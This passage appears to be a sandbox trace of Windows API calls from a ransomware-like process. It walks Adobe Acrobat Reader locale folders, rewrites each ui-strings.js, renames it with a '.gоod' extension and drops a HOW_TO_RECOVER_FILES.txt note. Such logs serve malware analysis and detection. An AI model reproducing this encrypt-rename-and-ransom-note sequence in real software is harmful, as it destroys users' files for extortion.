lpOverlapped=0x0) returned 1 [0249.346] CloseHandle (hObject=0x82c) returned 1 [0249.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0249.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0249.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0249.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x90d4ac20, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbcc2)) returned 1 [0249.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0249.347] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js.gоod")) returned 1 [0249.347] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0249.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0249.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0249.348] GetFileType (hFile=0x82c) returned 0x1 [0249.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0249.348] GetFileType (hFile=0x82c) returned 0x1 [0249.349] WriteFile (in: hFile=0x82c, lpBuffer=0x38605d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x38605d0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0249.349] CloseHandle (hObject=0x82c) returned 1 [0249.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0249.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x71 [0249.350] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0249.350] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.350] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.350] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.350] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0249.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0249.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0249.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0249.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x71 [0249.351] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0249.351] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.351] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.351] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.351] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0249.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0249.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0249.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0249.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0249.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3876b08 | out: lpFileInformation=0x3876b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2)) returned 1 [0249.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0249.352] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0249.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0249.352] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0249.352] GetFileType (hFile=0x82c) returned 0x1 [0249.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0249.352] GetFileType (hFile=0x82c) returned 0x1 [0249.352] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0249.352] ReadFile (in: hFile=0x82c, lpBuffer=0x3877000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3877000*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0249.637] CloseHandle (hObject=0x82c) returned 1 [0251.601] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0251.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0251.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.601] GetFileType (hFile=0x824) returned 0x1 [0251.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0251.601] GetFileType (hFile=0x824) returned 0x1 [0251.602] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xb8a2 [0251.602] WriteFile (in: hFile=0x824, lpBuffer=0x39df170*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x39df170*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0251.602] CloseHandle (hObject=0x824) returned 1 [0251.603] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0251.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0251.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.603] GetFileType (hFile=0x824) returned 0x1 [0251.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0251.603] GetFileType (hFile=0x824) returned 0x1 [0251.603] ReadFile (in: hFile=0x824, lpBuffer=0x39e1690, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x39e1690*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0251.630] CloseHandle (hObject=0x824) returned 1 [0251.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0251.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0251.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.631] GetFileType (hFile=0x824) returned 0x1 [0251.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0251.631] GetFileType (hFile=0x824) returned 0x1 [0251.631] WriteFile (in: hFile=0x824, lpBuffer=0x39e0378*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x39e0378*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0251.631] CloseHandle (hObject=0x824) returned 1 [0251.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0251.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0251.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0251.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92316fb9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb8b2)) returned 1 [0251.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0251.632] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\ui-strings.js.gоod")) returned 1 [0251.633] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0251.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0251.633] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0251.634] GetFileType (hFile=0x824) returned 0x1 [0251.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0251.634] GetFileType (hFile=0x824) returned 0x1 [0251.634] WriteFile (in: hFile=0x824, lpBuffer=0x3a6e2f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3a6e2f8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0251.635] CloseHandle (hObject=0x824) returned 1 [0251.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0251.635] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root", lpFilePart=0x0) returned 0x70 [0251.635] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0251.635] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.636] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0251.636] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.636] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0251.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0251.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0251.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0251.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root", lpFilePart=0x0) returned 0x70 [0251.636] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\*", lpFindFileData=0x203eb240 | out: 